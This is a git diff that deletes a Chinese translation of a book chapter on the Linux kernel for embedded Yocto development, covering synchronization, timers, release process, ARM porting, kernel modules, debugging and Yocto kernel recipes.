为了保护这些关键区域,应该采取一系列措施。 此外,还应考虑到中断处理程序不能中断,并且`softirqs`不应交错。 - -许多同步原语已经诞生: - -* **每 CPU 变量**:这是最简单高效的同步方法之一。 它将数据结构相乘,以便每个 CPU 都可以使用每个数据结构。 -* **原子操作**:此指的是原子读-修改-写指令。 -* **内存屏障**:这样可以确保在屏障之前完成的所有操作在开始之后的操作之前都已完成。 -* **自旋锁**:这个表示一种实现崩溃等待的锁。 -* **信号量**:这个是一种实现休眠或阻塞等待的锁定形式。 -* **seqlock**:此类似于旋转锁,但基于访问计数器。 -* **本地中断禁用**:这将禁止在单个 CPU 上使用可以推迟的功能。 -* **读取-复制-更新(RCU)**:这是一种旨在保护用于读取的最常用数据结构的方法。 它使用指针提供对共享数据结构的无锁访问。 - -使用前面的方法,会尝试修复竞争条件的情况。 开发人员的工作是识别和解决可能出现的所有最终同步问题。 - -# 计时器 - -在 Linux 内核周围,有大量受时间影响的函数。 从调度程序到系统正常运行时间,它们都需要时间参考,包括绝对时间和相对时间。 例如,需要为将来安排的事件表示相对时间,这实际上意味着有一种方法用于计算时间。 - -计时器实现可以根据事件类型的不同而不同。 周期性实现由系统定时器定义,该定时器在固定的时间段发出中断。 系统定时器是以给定频率发出定时器中断以更新系统时间并执行必要任务的硬件组件。 另一种可以使用的是实时时钟,这是一种附加了电池的芯片,可以在系统关闭很长一段时间后继续计时。 除了系统时间之外,还有一些动态计时器可用,由内核动态管理以计划特定时间过后运行的事件。 - -定时器中断有一个发生窗口,对于 ARM,它是每秒 100 次。 这称为**系统定时器频率**或**滴答率**,其测量单位为**赫兹**(**Hz**)。 滴答率因架构不同而不同。 如果其中大多数的值为 100 Hz,则还有其他值为 1024 Hz,例如 Alpha 和 Itanium(IA-64)体系结构。 默认值当然可以更改和增加,但此操作有其优点和缺点。 - -更高频率的一些优势包括: - -* 计时器将执行得更准确、数量更多 -* 使用超时的系统调用以更精确的方式执行 -* 正常运行时间测量和其他类似测量正变得更加精确 -* 进程抢占更准确 - -另一方面,更高频率的缺点意味着更高的开销。 处理器在定时器中断上下文中花费的时间更多;此外,由于进行了更多的计算,功耗也会增加。 - -Linux 操作系统自开始引导以来的总滴答数存储在`include/linux/jiffies.h`头文件内的名为**Jiffies**的变量中。 在引导时,该变量被初始化为零,每次中断发生时,该变量的值加 1。 因此,系统正常运行时间的实际值可以以 Jiffies/Hz 的形式计算。 - -# Linux 内核交互 - -到目前为止,您已经了解了 Linux 内核的一些特性。 现在,是时候介绍更多关于开发过程、版本控制方案、社区贡献以及与 Linux 内核的交互的信息了。 - -## 开发过程 - -Linux 内核是一个著名的开源项目。 为了确保开发人员知道如何与其交互,将提供有关如何与此项目进行`git`交互的信息,同时还将介绍有关其开发和发布过程的一些信息。 该项目已经演变,其开发过程和发布过程也随之演变。 - -在介绍实际的开发过程之前,有必要回顾一下历史。 在 Linux 内核项目的 2.6 版本之前,每两年或三年发布一次,每个版本都由偶数中间数字标识,如 1.0.x、2.0.x 和 2.6.x。 相反,开发分支是使用偶数定义的,例如 1.1.x、2.1.x 和 2.5.x,它们被用来集成各种特性和功能,直到准备好一个主要版本并准备好发布。 所有的次要版本都有名字,比如 2.6.32 和 2.2.23,它们都是在主要发布周期之间发布的。 - -![The development process](img/image00321.jpeg) - -这种工作方式一直保持到 2.6.0 版本,在每个小版本中内核中都添加了大量功能,并且所有这些功能都很好地组合在一起,不需要分支到新的开发分支。 这意味着更快的发布速度和更多可用的功能。 因此,自 2.6.14 内核发布以来,出现了以下变化: - -* 所有新的次要发布版本(如 2.6.x)都包含一个两周的合并窗口,在此窗口中可能会在下一个版本中引入许多功能 -* 此合并窗口将使用名为 2.6.(X+1)-RC1 的发布测试版本关闭 -* 然后是 6-8 周的错误修复期,届时添加的功能引入的所有错误都应该得到修复 -* 在错误修复间隔内,对发布候选版本运行测试,发布了 2.6.(X+1)-RCY 测试版本 -* 在完成最终测试并且认为最后一个候选版本足够稳定之后,将创建一个名称为 2.6.(X+1)的新版本,并且此过程将再次继续 - -这个过程运行得很好,但唯一的问题是错误修复只针对 Linux 内核的最新稳定版本发布。 人们需要针对旧版本的长期支持版本和安全更新,以及有关长期支持的这些版本的一般信息,等等。 - -这一过程随着时间的推移发生了变化,2011 年 7 月,3.0 Linux 内核版本出现了。 它似乎有几个小的更改,旨在改变交互的方式,以解决前面提到的请求。 对编号方案进行了更改,如下所示: - -* 内核官方版本将命名为 3.x(3.0、3.1、3.2 等) -* 稳定版本将命名为 3.x.y(3.0.1、3.1.3 等) - -虽然它只从编号方案中去掉了一个数字,但这一改变是必要的,因为它标志着 Linux 内核问世 20 周年。 - -由于 Linux 内核中每天都包含大量的补丁和功能,因此很难跟踪所有的更改以及总体情况。 随着时间的推移,这种情况发生了变化,因为像[http://kernelnewbies.org/LinuxChanges](http://kernelnewbies.org/LinuxChanges)和[http://lwn.net/](http://lwn.net/)这样的站点似乎帮助开发人员与 Linux 内核的世界保持联系。 - -除了这些链接,`git`版本控制系统还可以提供非常需要的信息。 当然,这需要在工作站上存在 Linux 内核源克隆。 提供大量信息的一些命令包括: - -* `git log`:此列出所有提交,最新提交位于列表顶部 -* `git log –p`:列出所有提交及其对应的`diffs` -* `git tag –l`:列出可用标签 -* `git checkout `:这将从工作存储库中签出分支或标记 -* `git log v2.6.32..master`:列出给定标签和最新版本之间的所有更改 -* `git log –p V2.6.32..master MAINTAINERS`:这列出了`MAINTAINERS`文件中两个给定分支之间的所有差异 - -当然,这只是一个包含有用命令的小列表。 所有其他命令都可从[http://git-scm.com/docs/](http://git-scm.com/docs/)获得。 - -## 内核移植 - -Linux 内核支持多种 CPU 架构。 每个架构和单个线路板都有自己的维护人员,此信息可在`MAINTAINERS`文件中获得。 此外,板移植之间的差异主要由体系结构决定,PowerPC 与 ARM 或 x86 有很大的不同。 由于本书重点介绍的开发板是采用 ARM Cortex-A5 内核的 Atmel,因此本节将重点介绍 ARM 架构。 - -在我们的例子中,主要关注的是`arch/arm`目录,它包含子目录,如`boot`、`common`、`configs`、`crypto`、`firmware`、`kernel`、`kvm`、`lib`、`mm`、`net`、`nwfpe`、`oprofile`、`tools`、`vfp`和`xen`。 它还包含许多特定于不同 CPU 系列的重要目录,如`mach-*`目录或`plat-*`目录。 第一个`mach-*`类别包含对 CPU 和几个使用该 CPU 的主板的支持,第二个`plat-*`类别包含特定于平台的代码。 一个例子是`plat-omap`,它包含`mach-omap1`和`mach-omap2`的通用代码。 - -自 2011 年以来,ARM 架构的发展经历了巨大的变化。 如果在此之前 ARM 没有使用设备树,那是因为它需要将大部分代码保存在`mach-*`特定目录中,并且对于在 Linux 内核中具有支持的每个板,都会关联一个唯一的机器 ID,并且每个包含特定信息和一组回调的板都会关联一个机器结构。 引导加载程序将此机器 ID 传递给特定的 ARM 注册表,通过这种方式,内核可以识别主板。 - -ARM 架构的流行是随着工作的重构和设备树的引入而来的,**设备树**极大地减少了`mach-*`目录中可用的代码量。 如果 Linux 内核支持 SoC,那么添加对电路板的支持就像在`/arch/arm/boot/dts`目录中用适当的名称定义一个设备树一样简单。 例如,对于`-.d`,如有必要,请包括相关的`dtsi`文件。 通过将设备树包含到**ARM/ARM/BOOT/DTS/Makefile**中,确保您构建了**设备树 BLOB**(**DTB**),并为线路板添加了缺少的设备驱动程序。 - -如果主板在 Linux 内核中没有支持,则需要在`mach-*`目录中进行适当的添加。 在每个`mach-*`目录中,有三种类型的文件可用: - -* **通用代码文件**:这些通常只有一个单词名称,如`clock.c`、`led.c`等 -* **CPU 特定代码**:此用于机器 ID,通常具有`*.c`形式-例如,`at91sam9263.c`、`at91sam9263_devices.c`、`sama5d3.c`等 -* **板码**:这个通常定义为 board-*.c,如`board-carmeva.c`、`board-pcontrol-g20.c`、`board-pcontrol-g20.c`等 - -对于给定的板,应首先在`arch/arm/mach-*/Kconfig`文件内进行正确的配置;为此,应识别板 CPU 的机器 ID。 配置完成后,即可开始编译,因此,也应使用所需的文件更新`arch/arm/mach-*/Makefile`,以确保电路板支持。 另一个步骤由定义线路板的机器结构和需要在`board-.c`文件中定义的机器类型号表示。 - -机器结构使用两个宏:`MACHINE_START`和`MACHINE_END`。 两者都在`arch/arm/include/asm/march/arch.h`内部定义,并用于定义`machine_desc`结构。 机器型号可在`arch/arm/tools/mach_types`文件中找到。 该文件用于生成线路板的`include/asm-arm/mach-types.h`文件。 - -### 备注 - -机器类型的更新后的编号列表可在[http://www.arm.linux.org.uk/developer/machines/download.php](http://www.arm.linux.org.uk/developer/machines/download.php)获得。 - -在第一种情况下启动引导过程时,只需要将`dtb`传递给引导加载程序并加载即可初始化 Linux 内核,而在第二种情况下,需要将机器类型号加载到`R1`寄存器中。 在早期引导过程中,`__lookup_machine_type`查找`machine_desc`结构并加载它以初始化电路板。 - -## 社区互动 - -在将此信息呈现给您之后,如果您渴望为 Linux 内核做出贡献,那么接下来应该阅读本节内容。 如果您真的想为 Linux 内核项目做出贡献,那么在开始这项工作之前应该执行几个步骤。 这主要与文献记载和对该主题的调查有关。 没有人想免费发送一个重复的补丁或复制别人的工作,所以在互联网上搜索你感兴趣的主题可以节省很多时间。 其他有用的建议是,在您熟悉了主题之后,避免发送变通方法。 试着解决问题并提供解决方案。 如果没有,请报告问题并详细描述。 如果找到了解决方案,则在补丁中提供问题和解决方案。 - -开放源码社区中最有价值的事情之一就是您可以从他人那里获得的帮助。 分享你的问题和问题,但不要忘了提及解决方案。 在适当的邮件列表中询问问题,如果可能,尽量避开维护人员。 他们通常非常忙,有成百上千封电子邮件要阅读和回复。 在寻求帮助之前,试着研究一下你想要提出的问题,这不仅在阐述问题时会有帮助,而且还能提供答案。 如果可能的话,可以使用 IRC 来解决较小的问题,最后,但最重要的是,尽量不要过度使用 IRC。 - -在准备补丁时,请确保在相应的分支上完成补丁,并首先读取`Documentation/BUG-HUNTING`文件。 识别错误报告(如果有),并确保将补丁链接到它们。 在发送之前,请毫不犹豫地阅读`Documentation/SubmittingPatches`指南。 此外,在正确测试更改之前,不要发送更改。 总是在你的补丁上签名,并使第一行描述尽可能具有提示性。 在发送补丁时,请找到合适的邮件列表和维护人员,并等待回复。 解决注释并在需要时重新提交它们,直到补丁程序被认为是可接受的。 - -# 内核源 - -linux 内核的官方位置在[http://www.kernel.org](http://www.kernel.org),但是有很多较小的社区使用他们的特性来贡献 linux 内核,甚至维护他们自己的版本。 - -虽然 Linux 内核包含调度器、内存管理和其他功能,但它的大小相当小。 极其大量的设备驱动程序、体系结构和主板支持,再加上文件系统、网络协议和所有其他组件,使得 Linux 内核变得非常庞大。 通过查看 Linux 目录的大小可以看出这一点。 - -Linux 源代码结构包含以下目录: - -* `arch`:此包含依赖于体系结构的代码 -* `block`:此包含块层核心 -* `crypto`:此包含加密库 -* `drivers`:此收集除声音驱动程序之外的所有设备驱动程序实现 -* `fs`:此收集文件系统的所有可用实现 -* `include`:此包含内核头 -* `init`:这个有 Linux 初始化代码 -* `ipc`:此保存进程间通信实现代码 -* `kernel`:这是 Linux 内核的核心 -* `lib`:此包含各种库,如`zlibc`、`crc`等 -* `mm`:这个包含内存管理的源代码 -* `net`:此提供对 Linux 内部支持的所有网络协议实现的访问 -* `samples`:此提供了许多示例实现,如`kfifo`、`kobject`等 -* `scripts`:这是内部和外部使用的 -* `security`:这个有很多安全实现,比如`apparmor`、`selinux`、`smack`等等 -* `sound`:此包含声音驱动程序和支持代码 -* `usr`:这是生成源代码的`initramfs cpio`归档文件 -* `virt`:这个包含虚拟化支持的源代码 -* `COPYING`:此表示 Linux 许可和定义复制条件 -* `CREDITS`:这个代表 Linux 的主要贡献者的集合 -* `Documentation`:本包含内核源代码的相应文档 -* `Kbuild`:此表示顶级内核构建系统 -* `Kconfig`:这是配置参数的顶级描述符 -* `MAINTAINERS`:这是一个包含每个内核组件的维护者的列表 -* `Makefile`:此表示顶级生成文件 -* `README`:这个文件描述了什么是 Linux,它是理解项目的起点 -* `REPORTING-BUGS`:本提供有关错误报告程序的信息 - -可以看出,Linux 内核的源代码相当大,因此需要一个浏览工具。 可以使用的工具有很多,例如**Cscope**、**Kscope**或 Web 浏览器**Linux 交叉引用**(**LXR**)。 CSCOPE 是一个巨大的项目,还可以使用`vim`和`emacs`的扩展。 - -## 配置内核 - -在构建 Linux 内核映像之前,需要进行适当的配置。 考虑到我们可以访问成百上千个组件,如驱动程序、文件系统和其他项目,这很难做到。 选择过程是在配置阶段内完成的,这可以通过依赖项定义来实现。 用户有机会使用和定义多个启用的选项,以便定义将用于构建特定主板的 Linux 内核映像的组件。 - -所有特定于支持的电路板的配置都位于一个配置文件中,简单地命名为`.config`,它位于与先前提供的文件和目录位置相同的级别。 它们的形式通常表示为`configuration_key=value`。 当然,这些配置之间存在依赖关系,因此它们是在`Kconfig`文件中定义的。 - -以下是一些可用于配置密钥的变量选项: - -* `bool`:这些选项可以具有 TRUE 或 FALSE 值 -* `tristate`:除了 TRUE 和 FALSE 选项外,它还显示为模块选项 -* `int`:这些值不是那个价差,但它们通常有一个确定的值范围 -* `string`:这些值也不是分布最广的值,但通常包含一些非常基本的信息 - -关于`Kconfig`文件,有两个选项可用。 第一个选项使选项 A 仅在选项 B 启用且定义为*依赖于*时可见,第二个选项提供启用选项 A 的可能性。这是在选项自动启用并定义为*SELECT*时完成的。 - -除了手动配置`.config`文件之外,配置对于开发人员来说是最糟糕的选择,主要是因为它可能会错过某些配置之间的依赖关系。 我建议开发人员使用 make`menuconfig`命令,该命令将启动用于配置内核映像的文本控制台工具。 - -## 编译和安装内核 - -在完成配置之后,可以开始编译过程。 我想给出的一条建议是,如果主机提供这种可能性,请尽可能多地使用线程,因为这将有助于构建过程。 构建过程开始命令的一个示例是`make –j 8`。 - -在构建过程结束时,将提供一个`vmlinux`映像,并且在 ARM 体系结构的特定于体系结构的文件中还会提供一些与体系结构相关的映像。 这一结果在`arch/arm/boot/*Image`内部可用。 此外,Atmel SAMA5D3-XPlaed 主板将提供可在`arch/arm/boot/dts/*.dtb`中使用的特定设备树文件。 如果`vmlinux`映像文件是包含调试信息的 ELF 文件,并且该文件的调试信息只能用于调试目的,则`arch/arm/boot/*Image`文件就是用于此目的的解决方案。 - -在为任何其他应用进行开发时,安装是下一步。 同样的事情也发生在 Linux 内核上,但是在嵌入式环境中,这一步似乎没有必要。 对于 Yocto 的爱好者来说,这一步也是可用的。 然而,在这一步中,对内核源代码进行了适当的配置,并且为部署步骤执行存储的依赖项将使用头部。 - -交叉编译一章中提到的内核模块稍后需要用于编译器构建。 内核模块的安装可以使用 make`modules_install`命令完成,这提供了在`/lib/modules/`目录中安装包含所有模块依赖项、符号和别名的源代码的可能性。 - -## 交叉编译 Linux 内核 - -在嵌入式开发中,编译过程意味着交叉编译,与本机编译过程最明显的区别在于它在命名中带有可用的目标体系结构的前缀。 前缀设置可以使用定义目标板架构名称的`ARCH`变量和定义交叉编译工具链前缀的`CROSS_COMPILE`变量来完成。 它们都是在顶级`Makefile`中定义的。 - -最佳的选项是将这些变量设置为环境变量,以确保不为主机运行 make 进程。 虽然它只在目前的终端上工作,但在没有自动化工具可用于这些任务的情况下,例如 Yocto 项目,它将是最好的解决方案。 但是,如果您计划在主机上使用多个工具链,则不建议更新`.bashrc`外壳变量。 - -# 设备和模块 - -正如我前面提到的,Linux 内核有很多内核模块和驱动程序,这些模块和驱动程序已经在 Linux 内核的源代码中实现并可用。 其中有许多是在 Linux 内核源代码之外也可以获得的。 将它们放在外部不仅通过在引导时不对它们进行初始化来缩短引导时间,而且还可以根据用户的请求和需要进行初始化。 唯一的区别是加载和卸载模块需要 root 访问权限。 - -加载 Linux 内核模块并与之交互需要提供日志记录信息。 任何内核模块依赖项都会发生同样的情况。 日志记录信息可通过`dmesg`命令获得,日志记录级别允许使用`loglevel`参数手动配置,也可以使用 Quest 参数禁用。 此外,对于内核依赖关系,可以在`/lib/modules//modules.dep`文件中找到有关它们的信息。 - -对于模块交互,可以使用用于多个操作的多个实用程序,例如`modinfo`,它用于收集有关模块的信息;当给定内核模块的填充路径时,`insmod`可以加载模块。 模块也有类似的实用程序可用。 其中之一称为`modprobe`,而`modprobe`中的区别是不需要完整路径的,因为它负责在加载之前加载所选内核对象的依赖模块。 `modprobe`提供的另一个功能是`–r`选项。 正是 Remove 功能提供了对删除模块及其所有依赖项的支持。 另一种替代方法是`rmmod`实用程序,它可以删除不再使用的模块。 最后一个可用的实用程序是`lsmod`,它列出了加载的模块。 - -可以编写的最简单的内核模块示例如下所示: - -```sh -#define MODULE -#define LINUX -#define __KERNEL__ - -#include -#include -#include - -static int hello_world_init(void) -{ - printk(KERN_ALERT "Hello world!\n"); - return 0; -} - -static void hello_world_exit(void) -{ - printk(KERN_ALERT "Goodbye!\n"); -} - -module_init(hello_world_init); -module_exit(hello_world_exit); - -MODULE_LICENSE("GPL"); -``` - -这是一个简单的`hello world kernel`模块。 从前面的示例中可以收集到的有用信息是,每个内核模块都需要一个在前面的示例中定义为`hello_world_init()`的启动函数。 它在插入模块时调用,在删除模块时调用名为`hello_world_exit()`的清理函数。 - -从 Linux 内核版本 2.2 开始,就有可能以这种方式使用`_init and __exit`宏: - -```sh -static int __init hello_world_init (void) -static void __exit hello_world_exit (void) -``` - -前面的宏被删除,第一个宏在初始化之后,,第二个宏在模块内置在 Linux 内核源代码中时被删除。 - -### 备注 - -有关 Linux 内核模块的更多信息可以在 Linux**内核模块编程指南**中找到,该指南可从[http://www.tldp.org/LDP/lkmpg/2.6/html/index.html](http://www.tldp.org/LDP/lkmpg/2.6/html/index.html)获得。 - -如前所述,内核模块不仅在 Linux 内核内部可用,而且在 Linux 内核树之外也可用。 对于内置内核模块,编译过程类似于其他可用的内核模块,开发人员可以从其中一个模块中启发其工作。 在 Linux 内核驱动程序和构建过程之外可用的内核模块需要访问 Linux 内核的源代码或内核头。 - -对于在 Linux 内核源代码之外可用的内核模块,可以使用`Makefile`示例,如下所示: - -```sh -KDIR := -PWD := $(shell pwd) -obj-m := hello_world.o -all: -$(MAKE) ARCH=arm CROSS_COMPILE= -C -$(KDIR) M=$(PWD) - -``` - -对于在 Linux 内核中实现的模块,模块的配置需要在具有正确配置的相应`Kconfig`文件中可用。 此外,需要更新`Kconfig`文件附近的`Makefile`,以便让`Makefile`系统知道模块的配置何时更新,何时需要构建源。 在这里,我们将看到内核设备驱动程序的此类示例。 - -`Kconfig`文件的示例如下: - -```sh -config HELLO_WORLD_TEST - tristate "Hello world module test" - help - To compile this driver as a module chose the M option. - otherwise chose Y option. - -``` - -下面是`Makefile`的一个示例: - -```sh -obj-$(CONFIG_ HELLO_WORLD_TEST) += hello_world.c - -``` - -在这两个示例中,源代码文件都是`hello_world.c`,如果结果内核模块不是内置的,则称为`hello_world.ko`。 - -驱动程序通常用作与公开许多硬件功能的框架的接口,或者与用于检测硬件并与硬件进行通信的总线接口。 最好的示例如下所示: - -![Devices and modules](img/image00322.jpeg) - -由于有多种使用设备驱动程序的场景,并且有三种设备模式结构可用: - -* `struct bus_type`:此表示总线类型,如 I2C、SPI、USB、PCI、MMC 等 -* `struct device_driver`:此表示用于处理总线上特定设备的驱动程序 -* `struct device`:此用于表示连接到总线的设备 - -继承机制用于从更通用的结构(如每个总线子系统的`struct device_driver`和`struct device`)创建专用的结构。 总线驱动程序是负责表示每种类型的总线并将相应的设备驱动程序与检测到的设备匹配的驱动程序,检测通过适配器驱动程序来完成。 对于不可发现的设备,在设备树或 Linux 内核的源代码中进行描述。 它们由支持平台驱动程序的平台总线处理,并反过来处理平台设备。 - -# 调试内核 - -必须调试 Linux 内核并不是最容易的任务,但需要完成这项任务以确保开发过程向前推进。 当然,理解 Linux 内核是前提条件之一。 一些可用的错误很难解决,可能会在 Linux 内核中存在很长一段时间。 - -对于大多数琐碎的问题,应该采取以下步骤。 首先,正确识别错误;它不仅在定义问题时很有用,而且还有助于重现问题。 第二步是找到问题的根源。 这里,我指的是首次报告该错误的第一个内核版本。 对 Linux 内核的 bug 或源代码有很好的了解总是很有用的,因此在开始处理代码之前,请确保您理解了代码。 - -Linux 内核中的错误具有广泛的传播性。 它们从变量未正确存储到竞态条件或硬件管理问题各不相同,表现形式多种多样,并有一系列事件。 然而,调试它们并不像听起来那么困难。 除了一些特定的问题(如竞争条件和时间限制)外,调试与任何大型用户空间应用的调试非常相似。 - -调试内核的第一个、最简单、最方便的方法是使用`printk()`函数。 它与`printf()`C 库函数非常相似,虽然很旧,有些人不推荐它,但它确实起到了作用。 新的优选方法涉及使用`pr_*()`函数,例如`pr_emerg()`、`pr_alert()`、`pr_crit()`、`pr_debug()`等。 另一种方法涉及使用`dev_*()`函数,如`dev_emerg()`、`dev_alert()`、`dev_crit()`、`dev_dbg()`等。 它们对应于每个日志记录级别,并且还具有额外的函数,这些函数是为调试目的而定义的,并在启用`CONFIG_DEBUG`时编译。 - -### 备注 - -有关`pr_*()`和`dev_*()`系列函数的更多信息可以在`Documentation/dynamic-debug-howto.txt`处的 Linux 内核源代码中找到。 您还可以在`Documentation/kernel-parameters.txt`上找到有关`loglevel`的更多信息。 - -当内核**Oops**崩溃时,它发出内核出错的信号。 由于无法修复或终止自身,它提供了对一系列信息的访问,例如有用的错误消息、注册内容和回溯信息。 - -`Magic SysRq`键是调试中使用的另一种方法。 它由`CONFIG_MAGIC_SYSRQ config`启用,可用于调试和恢复内核信息,而与其活动无关。 它提供了一系列命令行选项,可用于各种操作,从更改 NICE 级别到重新启动系统。 此外,还可以通过更改`/proc/sys/kernel/sysrq`文件中的值来打开或关闭它。 有关系统请求密钥的更多信息,请参见`Documentation/sysrq.txt`。 - -尽管 Linus Torvalds 和 Linux 社区认为内核调试器的存在不会对项目有太大好处,但对代码有更好的理解是任何项目的最佳方法。 仍然有一些调试器解决方案可供使用。 GNU 调试器(`gdb`)是第一个调试器,它可以像任何其他进程一样使用。 另一个是`kgdb`,它是`gdb`上的一个补丁,允许调试串行连接。 - -如果前面的方法都不能帮助解决问题,并且您已经尝试了所有方法,但似乎无法找到解决方案,那么您可以联系开放源码社区寻求帮助。 那里总会有开发者向你伸出援手。 - -### 备注 - -要获得更多关于 Linux 内核的信息,可以参考几本书。 我将在这里介绍几个他们的名字:Christopher Hallinan 的*Embedded Linux Primer*,Robert Love 的*Linux Kernel Development*,Greg Kroah-Hartman 的*Linux Kernel in A Nutshell*,以及 Daniel P.Boove 和 Marco Cesati 的*Undering the Linux Kernel*。 - -# Yocto 项目参考 - -接下来来看 Yocto 项目,我们提供了内部可用的每个内核版本的菜谱、每个受支持主板的 BSP 支持以及构建在 Linux 内核源代码树之外的内核模块的菜谱。 - -Atmel SAMA5D3-XPlaed 主板使用`linux-yocto-custom`内核。 这是在`conf/machine/sama5d3-xplained.conf`机器配置文件中使用`PREFERRED_PROVIDER_virtual/kernel`变量定义的。 没有提到`PREFERRED_VERSION`,因此首选最新版本;在本例中,我们谈论的是`linux-yocto-custom_3.10.bb`配方。 - -`linux-yocto-custom_3.10.bb`配方获取 Linux Torvalds 的`git`存储库中可用的内核源代码。 在`do_fetch`任务完成后快速查看源代码之后,可以观察到 Atmel 存储库实际上是被获取的。 答案可以在`linux-yocto-custom_3.10.bbappend`文件中找到,该文件提供了另一个`SR_URI`位置。 您可以从这里收集到的其他有用信息是 bbappend 文件中提供的信息,其中很好地说明了 SAMA5D3 XPlaed 机器是一台`COMPATIBLE_MACHINE`: - -```sh -KBRANCH = "linux-3.10-at91" -SRCREV = "35158dd80a94df2b71484b9ffa6e642378209156" -PV = "${LINUX_VERSION}+${SRCPV}" - -PR = "r5" - -FILESEXTRAPATHS_prepend := "${THISDIR}/files/${MACHINE}:" - -SRC_URI = "git://github.com/linux4sam/linux-at91.git;protocol=git;branch=${KBRANCH};nocheckout=1" -SRC_URI += "file://defconfig" - -SRCREV_sama5d4-xplained = "46f4253693b0ee8d25214e7ca0dde52e788ffe95" - -do_deploy_append() { - if [ ${UBOOT_FIT_IMAGE} = "xyes" ]; then - DTB_PATH="${B}/arch/${ARCH}/boot/dts/" - if [ ! -e "${DTB_PATH}" ]; then - DTB_PATH="${B}/arch/${ARCH}/boot/" - fi - - cp ${S}/arch/${ARCH}/boot/dts/${MACHINE}*.its ${DTB_PATH} - cd ${DTB_PATH} - mkimage -f ${MACHINE}.its ${MACHINE}.itb - install -m 0644 ${MACHINE}.itb ${DEPLOYDIR}/${MACHINE}.itb - cd - - fi -} - -COMPATIBLE_MACHINE = "(sama5d4ek|sama5d4-xplained|sama5d3xek|sama5d3-xplained|at91sam9x5ek|at91sam9rlek|at91sam9m10g45ek)" -``` - -配方首先定义与存储库相关的信息。 它是通过变量定义的,例如`SRC_URI`和`SRCREV`。 它还通过`KBRANCH`变量指示存储库的分支,以及需要将`defconfig`放入源代码以定义`.config` 文件的位置。 如配方中所示,内核配方的`do_deploy`任务进行了更新,将设备驱动程序添加到内核映像和其他二进制文件旁边的`tmp/deploy/img/sama5d3-xplained` 目录。 - -内核配方继承了`kernel.bbclass`和`kernel-yocto.bbclass`文件,这两个文件定义了它的大部分任务操作。 由于它还会生成设备树,因此需要访问`linux-dtb.inc`,后者在`meta/recipes-kernel/linux`目录中可用。 `linux-yocto-custom_3.10.bb`配方中提供的信息非常通用,并被`bbappend`文件覆盖,如下所示: - -```sh -SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git;protocol=git;nocheckout=1" - -LINUX_VERSION ?= "3.10" -LINUX_VERSION_EXTENSION ?= "-custom" - -inherit kernel -require recipes-kernel/linux/linux-yocto.inc - -# Override SRCREV to point to a different commit in a bbappend file to -# build a different release of the Linux kernel. -# tag: v3.10 8bb495e3f02401ee6f76d1b1d77f3ac9f079e376" -SRCREV = "8bb495e3f02401ee6f76d1b1d77f3ac9f079e376" - -PR = "r1" -PV = "${LINUX_VERSION}+git${SRCPV}" - -# Override COMPATIBLE_MACHINE to include your machine in a bbappend -# file. Leaving it empty here ensures an early explicit build failure. -COMPATIBLE_MACHINE = "(^$)" - -# module_autoload is used by the kernel packaging bbclass -module_autoload_atmel_usba_udc = "atmel_usba_udc" -module_autoload_g_serial = "g_serial" -``` - -在通过运行`bitbake virtual/kernel`命令构建内核之后,内核映像将在`tmp/deploy/img/sama5d3-xplained`目录中的`zImage-sama5d3-xplained.bin`名称下可用,该名称是指向全名文件的符号链接,并且具有更大的名称标识符。 内核映像是从执行 Linux 内核任务的位置部署到这里的。 发现那个地方最简单的方法是运行`bitbake –c devshell virtual/kernel`。 用户可以使用开发外壳与 Linux 内核源代码直接交互并访问任务脚本。 这种方法是首选的,因为开发人员可以访问与`bitbake`相同的环境。 - -另一方面,如果内核模块没有内置在 Linux 内核源代码树中,那么它的行为会有所不同。 对于构建在源代码树外部的模块,需要编写一个新的配方,也就是继承另一个`bitbake`类(这次称为`module.bbclass`的配方)。 在`recipes-kernel/hello-mod`目录中的`meta-skeleton`层中提供了一个外部 Linux 内核模块的示例: - -```sh -SUMMARY = "Example of how to build an external Linux kernel module" -LICENSE = "GPLv2" -LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e" - -inherit module - -PR = "r0" -PV = "0.1" - -SRC_URI = "file://Makefile \ - file://hello.c \ - file://COPYING \ - " - -S = "${WORKDIR}" - -# The inherit of module.bbclass will automatically name module packages with -# "kernel-module-" prefix as required by the oe-core build environment. -``` - -正如 Linux 内核外部模块的示例中所提到的,每个外部或内部内核模块的最后两行都打包有`kernel-module-`前缀,以确保当`IMAGE_INSTALL`变量可用时,值 kernel-module 会被添加到`/lib/modules/`目录内所有可用的内核模块中。 内核模块配方与任何可用配方非常相似,主要区别在于继承模块的形式,如行 Inherit MODULE 中所示。 - -在 Yocto 项目中,有多个命令可用于与内核和内核模块食谱交互。 当然,最简单的命令是`bitbake```,但是对于 Linux 内核,有许多命令可以简化交互。 最常用的是`bitbake -c menuconfig virtual/kernel`操作,它提供了对内核配置菜单的访问。 - -除了开发过程中最常用的已知任务(如`configure`、`compile`和`devshell`)外,还有其他任务(如`diffconfig`),它使用 Linux 内核`scripts`目录中的`diffconfig`脚本。 Yocto 项目的实现与 Linux 内核的可用脚本之间的区别在于前者增加了内核`config`创建阶段。 作为自动化过程的一部分,这些`config`片段用于将内核配置添加到`.config`文件中。 - -# 摘要 - -在本章中,您了解了 Linux 内核的一般知识,了解了它的特性以及与它交互的方法。 还提供了有关调试和移植功能的信息。 所有这一切都是为了确保你在与整个生态系统互动之前获得关于整个生态系统的足够信息。 我的观点是,如果你先了解整体情况,就会更容易专注于更具体的事情。 这也是 Yocto 项目参考一直保留到最后的原因之一。 向您介绍了 Linux 内核配方和 Linux 内核外部模块是如何在稍后由给定机器定义和使用的。 关于 Linux 内核的更多信息也将在下一章中提供,它将收集所有以前提供的信息,并向您展示开发人员如何与 Linux 操作系统映像交互。 - -除了这些信息,在下一章中,还将解释根文件系统的组织以及它背后的原则、内容和设备驱动程序。 Busybox 是将讨论的另一个有趣的主题,也是对可用的文件系统的各种支持。 由于它往往会变得更大,因此还将介绍有关最小文件系统应该是什么样子的信息。 话虽如此,我们将进入下一章。 \ No newline at end of file diff --git a/docs/learn-emb-linux-yocto-proj/05.md b/docs/learn-emb-linux-yocto-proj/05.md deleted file mode 100644 index 6bd31ca5..00000000 --- a/docs/learn-emb-linux-yocto-proj/05.md +++ /dev/null @@ -1,489 +0,0 @@ -# 五、Linux 根文件系统 - -在本章中,您将了解根文件系统及其结构。 您还将看到有关根文件系统的内容、各种可用的设备驱动程序以及它与 Linux 内核的通信的信息。 我们将慢慢过渡到 Yocto 项目和用于定义 Linux 根文件系统内容的方法。 将提供必要的信息,以确保用户还能够根据需要定制`rootfs`文件系统。 - -将介绍根文件系统的特殊要求。 